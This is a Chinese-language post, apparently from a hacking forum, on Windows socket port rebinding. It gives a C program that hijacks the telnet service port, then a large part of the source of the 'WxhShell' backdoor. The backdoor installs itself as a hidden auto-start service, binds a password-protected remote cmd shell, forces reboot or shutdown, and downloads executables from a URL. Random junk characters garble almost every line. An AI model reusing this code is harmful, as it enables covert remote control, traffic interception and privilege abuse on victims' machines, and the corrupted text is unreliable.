在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
".xai.trr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
d!KX.K\NM, 2,&lGyV# saddr.sin_family = AF_INET;
cJ8F#t vo`wYJ3W saddr.sin_addr.s_addr = htonl(INADDR_ANY);
fsjA7)/ d=qpTb;( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*-|+phim o Ayk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Op)0D:BmR u."fJ2}l0X 这意味着什么?意味着可以进行如下的攻击:
R~w(] [l#WS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B@zJ\Ir[ Pz|qy, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}h_Op7.5D @?B=8VHR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
EkSTN &ApJ'uC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#]eXI
$HP EJWMr`zdn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}7=a,1T DAu|`pyC% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Xq>e]#gR -;P<Q`{I 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N^
D/}n Rc6
)v #include
BE"nyTQ #include
uaPBM< #include
Msd!4TrBJ #include
Km <Wh= DWORD WINAPI ClientThread(LPVOID lpParam);
GmL |7 6 int main()
zK-hNDFL{ {
(uG4W|?p WORD wVersionRequested;
0= 'DDy DWORD ret;
: l>Ue& WSADATA wsaData;
CY>NU BOOL val;
rIb[gm)Rk SOCKADDR_IN saddr;
5&X SOCKADDR_IN scaddr;
Ve8! int err;
[QZ~~(R SOCKET s;
z t,-O7I'1 SOCKET sc;
%o"Rcw| int caddsize;
9uS7G * HANDLE mt;
+rT( DWORD tid;
Ox~'w0c,f wVersionRequested = MAKEWORD( 2, 2 );
Tc88U8Gc err = WSAStartup( wVersionRequested, &wsaData );
<,E*,&0W if ( err != 0 ) {
99ha/t printf("error!WSAStartup failed!\n");
'hekCZZ_I return -1;
;n;^f&;sJ }
s3+O=5 saddr.sin_family = AF_INET;
7
YK+TGmU^ T?\CAk> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Rm*}<JN31 y2 +a2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=O;SXzgE saddr.sin_port = htons(23);
!%u#J:z2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
li%-9Jd {
Y;Ur8q printf("error!socket failed!\n");
M)J *Df0@ return -1;
^TEODKS }
\W}EyA val = TRUE;
tl)}Be+Dt; //SO_REUSEADDR选项就是可以实现端口重绑定的
Pj.~|5gnf if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,#E5 /'c` {
oba*w; printf("error!setsockopt failed!\n");
jO,<7FPs5 return -1;
aydal9M }
Y=rr6/k //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
b}4/4Z. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N/%#GfXx //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(t]>=p%4g qXI30Yo#d if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
*n*y!z {
zl:D|h77 ret=GetLastError();
9#(QS+q~ printf("error!bind failed!\n");
?:FotnU*p return -1;
Hxl,U>za# }
T8441qo{> listen(s,2);
RE .@ +A while(1)
AfEEYP)N {
zOE6;c81 caddsize = sizeof(scaddr);
{6n \532@ //接受连接请求
iTt=aQjd sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>1~`tP if(sc!=INVALID_SOCKET)
- X_w& {
od}x7RI%m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'YR5i^:t if(mt==NULL)
Dy@\!F {
9(l'xu X printf("Thread Creat Failed!\n");
,>UmKrYo break;
*i{.@RX? }
->hxHr`!%a }
m6x. "jG CloseHandle(mt);
Yy)a,clZ*$ }
cA%U closesocket(s);
Zd(d]M_x WSACleanup();
7:L~n(QpP return 0;
668bJ.M\O }
U(N$6{i_ DWORD WINAPI ClientThread(LPVOID lpParam)
M([H\^\: {
)/Xrhhx SOCKET ss = (SOCKET)lpParam;
\!QF9dP4 SOCKET sc;
=Yj[MVn unsigned char buf[4096];
z{g<y^Im+E SOCKADDR_IN saddr;
I7PWOd long num;
9AYe,R DWORD val;
@c!67Z DWORD ret;
4) 3pa* //如果是隐藏端口应用的话,可以在此处加一些判断
12PE{Mut //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lDU:EJ&DHE saddr.sin_family = AF_INET;
h<K;VpL6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N ]7a= saddr.sin_port = htons(23);
zsXH{atY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'r n;|K {
"|'`'W printf("error!socket failed!\n");
w)eQ'6Vu return -1;
W{+0iAYnp }
Ql@yN@V val = 100;
$M`;." if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
sYA-FO3gh {
'TrrOq4 ret = GetLastError();
G
r|@CZq return -1;
YB{E=\~ }
mY8=qkZE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JX)z<Dz$ {
Cj1UD; ret = GetLastError();
B^(rUR return -1;
*wB-lg7% }
,A!e"=HF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
MJ9SsC1 {
jN}7BbX printf("error!socket connect failed!\n");
^X;Xti closesocket(sc);
~fp+@j-A closesocket(ss);
{}o>nenx\ return -1;
-fx88 }
O|&TL9: while(1)
U9o*6`"o {
Hs}"A,V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DsW`V~T //如果是嗅探内容的话,可以再此处进行内容分析和记录
8Qz7uPq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
RpK,ixbtA+ num = recv(ss,buf,4096,0);
2Ml2Ue-9 if(num>0)
*@arn Eu send(sc,buf,num,0);
,okJ eZ else if(num==0)
.&x?`pER break;
z#J/*712 num = recv(sc,buf,4096,0);
z{3%Hq if(num>0)
TJ[jZuT: send(ss,buf,num,0);
0*;9CH=BE else if(num==0)
:5K~/=6x break;
q&$0i }
CotMV^ closesocket(ss);
y [9}[NMZ closesocket(sc);
A%*DQ1N return 0 ;
To8v#.i }
}Q=se[(( Zc3:9 c^Gwri4 ==========================================================
,q@(L ms\/=96F 下边附上一个代码,,WXhSHELL
ar
qLp| y[WYH5&DJ ==========================================================
!bV(VRbu #8f"}>U9., #include "stdafx.h"
7x7r!rSe, txfwLqx #include <stdio.h>
KaQq[a #include <string.h>
:y-0qzD? #include <windows.h>
&Y>~^$`J #include <winsock2.h>
mz VuQ #include <winsvc.h>
v6P~XK}G #include <urlmon.h>
R`C_CsXir W8yfa[z~J #pragma comment (lib, "Ws2_32.lib")
;Q>3N( #pragma comment (lib, "urlmon.lib")
D@(M+u9/% ul=a\;3x#| #define MAX_USER 100 // 最大客户端连接数
x$5nLS2. #define BUF_SOCK 200 // sock buffer
Kpp*^ #define KEY_BUFF 255 // 输入 buffer
=Sb:<q+Q gjegzKU #define REBOOT 0 // 重启
8
1KG1i ) #define SHUTDOWN 1 // 关机
tD~PvUJ 1|EU5< #define DEF_PORT 5000 // 监听端口
p-yOiG8b} a,57`Ks+n< #define REG_LEN 16 // 注册表键长度
>,"D9! #define SVC_LEN 80 // NT服务名长度
&Rl3y\
r [5p7@6:$u // 从dll定义API
KG-k$glD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^8-~@01.`_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\,%o>M' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
QVG0>,+}$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;c
m wh< spU!t-n67 // wxhshell配置信息
itC *Z6^ struct WSCFG {
hKH$AEHEU} int ws_port; // 监听端口
Ss<_K>wk char ws_passstr[REG_LEN]; // 口令
d1uG[ int ws_autoins; // 安装标记, 1=yes 0=no
IGK_1@tq char ws_regname[REG_LEN]; // 注册表键名
Y0L5W;iM char ws_svcname[REG_LEN]; // 服务名
Z}K.^\S9 char ws_svcdisp[SVC_LEN]; // 服务显示名
,+NE: _ char ws_svcdesc[SVC_LEN]; // 服务描述信息
^Azt.\fMX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
& GzhcW~ int ws_downexe; // 下载执行标记, 1=yes 0=no
@RoRNat char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0(hv #C4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
orQV' *t?~)o7 };
6N%L8Q SZK)q // default Wxhshell configuration
4gv.E 0Fo struct WSCFG wscfg={DEF_PORT,
yYG3/Z3u5 "xuhuanlingzhe",
d#vSE.& 1,
94h_t@Q/1 "Wxhshell",
u_p7Mcb "Wxhshell",
|`k1zc)9 "WxhShell Service",
RvPniT(<? "Wrsky Windows CmdShell Service",
PV]k3&y "Please Input Your Password: ",
w`.T/ 1,
X #p o|,Q "
http://www.wrsky.com/wxhshell.exe",
G>[
NZE "Wxhshell.exe"
qr'x0r|<> };
! =\DC,-CB s#+"5&!s // 消息定义模块
hs{&G^!jo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<w UD char *msg_ws_prompt="\n\r? for help\n\r#>";
rTP5-4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
HeT6Dv char *msg_ws_ext="\n\rExit.";
/jjW/lr char *msg_ws_end="\n\rQuit.";
Ere?d~8 char *msg_ws_boot="\n\rReboot...";
]{Mci]H6T char *msg_ws_poff="\n\rShutdown...";
<uBhi4 char *msg_ws_down="\n\rSave to ";
#Cg}!38 G. -h=DT] char *msg_ws_err="\n\rErr!";
q:2aPfo& char *msg_ws_ok="\n\rOK!";
*;OJ~zT [V> :`? char ExeFile[MAX_PATH];
C-a*EG int nUser = 0;
aDN6MZM HANDLE handles[MAX_USER];
B@"SOX int OsIsNt;
*l> [`U+ ;T5,T SERVICE_STATUS serviceStatus;
|5}rX!wS4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
~),;QQ, r
1l/) ; // 函数声明
|<j,Tr1[ int Install(void);
!"`@sd~ int Uninstall(void);
-~vl+L int DownloadFile(char *sURL, SOCKET wsh);
[l8V<*x%S9 int Boot(int flag);
%k3NT~ void HideProc(void);
,>bGbx int GetOsVer(void);
/RJ6nmN@} int Wxhshell(SOCKET wsl);
cX|[WT0[I void TalkWithClient(void *cs);
zz(!t eBC int CmdShell(SOCKET sock);
;NiArcAS! int StartFromService(void);
W"b&M%y| int StartWxhshell(LPSTR lpCmdLine);
$zk^yumdE *Fa)\.XX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#D|!
.I) VOID WINAPI NTServiceHandler( DWORD fdwControl );
sorSyuGr h`
irO5 // 数据结构和表定义
p3M#XC_H] SERVICE_TABLE_ENTRY DispatchTable[] =
rxs~y{Xi {
Z&+NmOY4 {wscfg.ws_svcname, NTServiceMain},
bx hP jAL {NULL, NULL}
_o@(wGeu# };
YMc8Q\*B X+]L-o6I2 // 自我安装
~q0I7M int Install(void)
[,OJX
N-4s {
Xt</ -` char svExeFile[MAX_PATH];
iGG6Myp- HKEY key;
_u:>1] strcpy(svExeFile,ExeFile);
Ujce |>Wn `3f_d}b // 如果是win9x系统,修改注册表设为自启动
-Z:]<;qU if(!OsIsNt) {
U0NOU# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w)45SZ. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B#HV20\?v RegCloseKey(key);
+3M$3w{2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eV[`P&j_C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P'a0CE% RegCloseKey(key);
Wmz q return 0;
?TvQ"Y}k }
cZNi~ }
1a7!4)\ }
Ad dGB^7yl else {
:y=!{J< I#"t'=9H // 如果是NT以上系统,安装为系统服务
L8K0^~Mk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4`'8fe/" if (schSCManager!=0)
BQyvj\uJ {
j y7 SC_HANDLE schService = CreateService
'M~BE\ (
6OfdD.y schSCManager,
t9G}Yd[T wscfg.ws_svcname,
u9TzZ wscfg.ws_svcdisp,
HG2N-<$ SERVICE_ALL_ACCESS,
( MB`hk-d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
M
(+.$uz SERVICE_AUTO_START,
o .l;:
Un SERVICE_ERROR_NORMAL,
c5X`_ svExeFile,
q:vz?G NULL,
F0@Qgk]\ NULL,
\n[
392 NULL,
?k
[%\jq{a NULL,
3LKB; NULL
M,crz );
ao)Ck3] if (schService!=0)
*f79=x {
, p_G/OU
CloseServiceHandle(schService);
Wm<z?.lS CloseServiceHandle(schSCManager);
;KZrl` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.4wTjbO6 strcat(svExeFile,wscfg.ws_svcname);
fJX\'Rc\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
u K'<xM"%T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
A:kkCG!~Nf RegCloseKey(key);
dSwm|kIa return 0;
J#0GlK@" }
92!JKZe
}
.2e1S{ 9 CloseServiceHandle(schSCManager);
kt:)W])V }
plK=D#) }
+AB6lv rFhW^fP/ return 1;
L'>s(CR }
1<`9HCm w|=gSC-o // 自我卸载
-<_7\09 int Uninstall(void)
ue@8voZhS/ {
WElrk:b HKEY key;
jRofG' g]za"U|g if(!OsIsNt) {
0Qm"n6NQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j8pFgnQ RegDeleteValue(key,wscfg.ws_regname);
_WKJ<dB< RegCloseKey(key);
!/947Rn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2
#KoN8% RegDeleteValue(key,wscfg.ws_regname);
.Y! :x=e RegCloseKey(key);
B#]_8svO return 0;
|=\91fP68` }
,*dzJT$k }
Kh)FyV }
k5a\Sq} else {
^;zWWg/d sMH#BCC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4b4QbJ$ if (schSCManager!=0)
"IG+V:{ou {
>Dne? 8r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
k,rWa if (schService!=0)
71O3O7 {
|q_
!.
a if(DeleteService(schService)!=0) {
{rC~P CloseServiceHandle(schService);
.B>B`q;B CloseServiceHandle(schSCManager);
.|uLt J return 0;
|z~LzSJv }
OC_M4{9/ CloseServiceHandle(schService);
Q2eXK[?* }
&EovZ@u CloseServiceHandle(schSCManager);
t[EfOQ }
t+Z`n(> }
9=
V>f)R
55-D\n< return 1;
,GrB'N{8e }
Uki9/QiX> !8*McOI // 从指定url下载文件
)p8I@E int DownloadFile(char *sURL, SOCKET wsh)
M$A#I51 {
ioV_oR9I HRESULT hr;
=XT)J6z^" char seps[]= "/";
WA.AFt char *token;
O"*`'D|hK char *file;
=x0No*#|' char myURL[MAX_PATH];
frN3S char myFILE[MAX_PATH];
gWrAUPS[ EfiU$8y strcpy(myURL,sURL);
=MLf[ token=strtok(myURL,seps);
!gH9 ay while(token!=NULL)
Y)XvlfJ,h? {
rg5]&<Vq8 file=token;
)"`!AerJ token=strtok(NULL,seps);
|d7$*7TvV }
ksWSMxm 4tXSYHd3 GetCurrentDirectory(MAX_PATH,myFILE);
[s`
G^ strcat(myFILE, "\\");
@Bs0Avj. strcat(myFILE, file);
~rv})4h send(wsh,myFILE,strlen(myFILE),0);
7Kf}O6nE send(wsh,"...",3,0);
I,O#X)O|i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"0&N} if(hr==S_OK)
rt4Z; return 0;
q\$6F)ha3 else
P<;7j? return 1;
#[ -\lU| 4MW ]EQ- }
|(% u}V? lKV"Mh+6 // 系统电源模块
KhaYr)&~ int Boot(int flag)
HIf{Z* mb {
0ys~2Y!eH HANDLE hToken;
9E1W|KE TOKEN_PRIVILEGES tkp;
x?r1s#88> MZv\ C if(OsIsNt) {
6)*xU|fU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'2^
Yw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
B0)]s<< tkp.PrivilegeCount = 1;
vR hnX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k#)Ad*t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;")A{tX2 if(flag==REBOOT) {
&M"ouy Zo9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
9$l>\.6 return 0;
cFZCf8:zB }
K"{HseN{ else {
faJM^ u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
U;^[$Aq return 0;
)]Ti>R O7 }
"mIgs9l$ }
#hxyOq, else {
y]
V1b{9p if(flag==REBOOT) {
KL3<Iz] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wNQqfqZ return 0;
zFhgE*5 }
zg}YGu|J else {
>bm|%Ou" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$\\lx_) return 0;
e<\<,)9@/ }
VcgBLkIF }
J !#Zi#8sF grcbH return 1;
Omyt2`q }
TMj4w,g4 |:q/Dt@ // win9x进程隐藏模块
s:|M]. void HideProc(void)
dbF M,"^ {
\L]|-f(4 hKe30#:v HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(.X]F_*sc if ( hKernel != NULL )
T{Zwm!s {
IB$7`7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Fvl`2W94; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}STYG` FreeLibrary(hKernel);
v.g"{us }
%|IUq jg
w G!u+ return;
LI
W*4r! }
~brFo2 XW~bu2%{7" // 获取操作系统版本
>S#ul? int GetOsVer(void)
4<v;1
{
?p^2Z6J'$ OSVERSIONINFO winfo;
N}Vn;29 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
hC<14 GetVersionEx(&winfo);
>L>+2z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f(:1yl\a return 1;
AtHS@p else
*HlDS22 return 0;
8jnz}aBd }
l5O=VqCj ~"dhu]^ // 客户端句柄模块
><Z'D int Wxhshell(SOCKET wsl)
nX5C<Ky {
Y;Y1+jt SOCKET wsh;
5K.+CO< struct sockaddr_in client;
6?gi_3g
DWORD myID;
Es8#]'Rk Mq\~`8V while(nUser<MAX_USER)
AV4~U:vU {
5Pke8K int nSize=sizeof(client);
C{m&}g` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/1.rz{wpb if(wsh==INVALID_SOCKET) return 1;
nX[;^v/ [.cq{6- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ft-6m% if(handles[nUser]==0)
u-><}OVf~ closesocket(wsh);
u{C)qb5Pu else
1f//wk| nUser++;
VifmZ;S@Y }
/lH'hcXcX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
YoSQN/Z =/Juh7[C return 0;
GU6qIz| }
p\D >z(" F(4yS2h( // 关闭 socket
{;n0/
void CloseIt(SOCKET wsh)
u0]q`u/T {
F`&>NQb closesocket(wsh);
dR[o|r nUser--;
7),*3c ') ExitThread(0);
e'~ Q@_D }
^H=o3#P~L n;OHH{E{ // 客户端请求句柄
0k1MKzi Q void TalkWithClient(void *cs)
'NjSu64W {
'Y)/~\FI AbY;H SOCKET wsh=(SOCKET)cs;
PqfVX8/q0 char pwd[SVC_LEN];
</ZHa:=7 char cmd[KEY_BUFF];
>hb-5xC char chr[1];
eH[y[~r int i,j;
JtmQzr0> SLh~_ 5 while (nUser < MAX_USER) {
3"tg+DncC <^sAY P| if(wscfg.ws_passstr) {
`7_n}8NVC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3@HIpQM3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y6;@ /[_ //ZeroMemory(pwd,KEY_BUFF);
_IKQ36= i=0;
8A_TIyh? while(i<SVC_LEN) {
Q9q9<J7j$ 6jtTT%>y // 设置超时
8;.` {'r fd_set FdRead;
{~1M struct timeval TimeOut;
SyB-iQn FD_ZERO(&FdRead);
05 g?jV FD_SET(wsh,&FdRead);
d<?X3&J TimeOut.tv_sec=8;
dw99FA6 TimeOut.tv_usec=0;
]>*I) H)
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
#VR`?n?, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
skSNzF7' {4)5]62>u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cuNq9y;[ pwd
=chr[0]; jL2MW(d^Q
if(chr[0]==0xd || chr[0]==0xa) { MHn&;
A]
pwd=0; #nDL
break; 4Xr"d@2(
} ]Y$&78u8t
i++; rZ 6@b
} A1 b6Zt
p+5#dbyr
// 如果是非法用户,关闭 socket =mAGD*NKu
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3XBp6`
} Q.uR<C6)v
tUn&z?7bF
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WVsKrFZT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {<~s&EPd
:az!H"4W/
while(1) { #C'o'%!(
P'gT6*an,"
ZeroMemory(cmd,KEY_BUFF); =7H.F:BBG
5Bzuj`
// 自动支持客户端 telnet标准 8UlB~fVg
j=0; R|6RI}
while(j<KEY_BUFF) { 0FN~$+t)H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _TV2)
cmd[j]=chr[0]; )moo?Q
if(chr[0]==0xa || chr[0]==0xd) { av7q>NEZ!1
cmd[j]=0; R,fMZHAG
break; @m }rQT
} F9ZOSL
8Q
j++; (4E.Li<O
} k?z
[hZg0
LZ3rr-
// 下载文件 MM/BJ
if(strstr(cmd,"http://")) { ZY~zpC_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^Osd/g
if(DownloadFile(cmd,wsh)) V;/
XG}M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); la!1[VeL
else Y*h`),
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #J'Z5)i|
} pIM*c6
else { k4]R]=Fh.
1gf/#+$\
switch(cmd[0]) { oaH+c9v
oX%PsS
// 帮助 9}? 5p]%
case '?': { tF{{cd
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mmh nw(/
break; *m `KU+o-u
} ,.1&Ff)S
// 安装 h$:&1jVY{
case 'i': { NzwGc+\7}
if(Install()) t*ri`}a{v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ORFr7a'K
else z22|Kv;w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -wG[>Y
break; Q>#)LHX
} T-<> )N5y
// 卸载 (STWAwK-
case 'r': { $!
fz~
if(Uninstall()) O(:u( U7e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O23]!S<;
else h}c6+@w&-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &T|UAM.
break; D7n&9Z
} 0t/z"
// 显示 wxhshell 所在路径 }]Z,\lA
case 'p': { 4w3V!K8
char svExeFile[MAX_PATH]; ,vHX>)M|
strcpy(svExeFile,"\n\r");
4 I]/
strcat(svExeFile,ExeFile); 8B% O%*5`
send(wsh,svExeFile,strlen(svExeFile),0); f;qKrw
break; }f0^9(
} ?_<UOb*
// 重启 ;d'O. i=
case 'b': { E<fwl1<88
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >GF(.:7
if(Boot(REBOOT)) D%";!7u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @,f,tk=\S
else { i}&mz~
closesocket(wsh); l{7Dv1[Ss
ExitThread(0); \T#(rt\j
} p%YvP
break; 8^ ZM U{
} ?28G6T]/?d
// 关机 <@;xV_`X+
case 'd': { nR|uAw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MRY)m@*+6
if(Boot(SHUTDOWN)) ]ge^J3az$u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?PU(<A+
else { (? #U&
closesocket(wsh); '\vmfp=
ExitThread(0);
'Q;?_,`
} "%@=?X8
break; AK\g-]8
} o dQ&0d
// 获取shell H_nOE(i<z
case 's': { %X-&yGY
CmdShell(wsh); Nv$gKC6 ,G
closesocket(wsh); UBk
5O&
ExitThread(0); DD{@lM\vc
break; ]KV8u1H>
} TKs@?Q,J
// 退出 'rx,f
case 'x': { 4lo}-@j
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UC2OYZb
CloseIt(wsh); 5'L}LT8p@
break; ^V;lZtZ
} U3iyuE
// 离开 `0gK;D8t
case 'q': { _(A+_|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #i#.tc
closesocket(wsh); T/.y(8!0I8
WSACleanup();
Tee3U%Y
exit(1); \\pyu]z
break; !urd
$Ta
} J_br%AG<p
} iKTU28x
} K`83C`w.
wI]>0geb*
// 提示信息 ~G^doj3|+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &WV 9%fI
} &!aLOx*3`
} ?'_7#0R_0
_BA_lkN+D
return; [5d][1=
} w)>z3Lm
v-aq".XQ
// shell模块句柄 .
zMM86 c
int CmdShell(SOCKET sock) @+vTGjHA
{ {Ag}P0%'
STARTUPINFO si; HWAqJb [
ZeroMemory(&si,sizeof(si)); ]xeyXw84k
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KPcuGJ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PP`n>v=n
PROCESS_INFORMATION ProcessInfo; UR=s{nFd
char cmdline[]="cmd"; vrDRSc6_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0'oT {iN
return 0; \r9%;?f
} a<36`#N
*}&aK}h}I
// 自身启动模式 1g.9R@Kc$
int StartFromService(void) nx]b\A
{ ^$
bhmJYT
typedef struct 1/BMs0 =
{ 9m9=O&C~-<
DWORD ExitStatus; Y% 9F
DWORD PebBaseAddress; 8dB~09Z7
DWORD AffinityMask; QYGxr+D
DWORD BasePriority; sYgnH:t X
ULONG UniqueProcessId; JOq<lb=
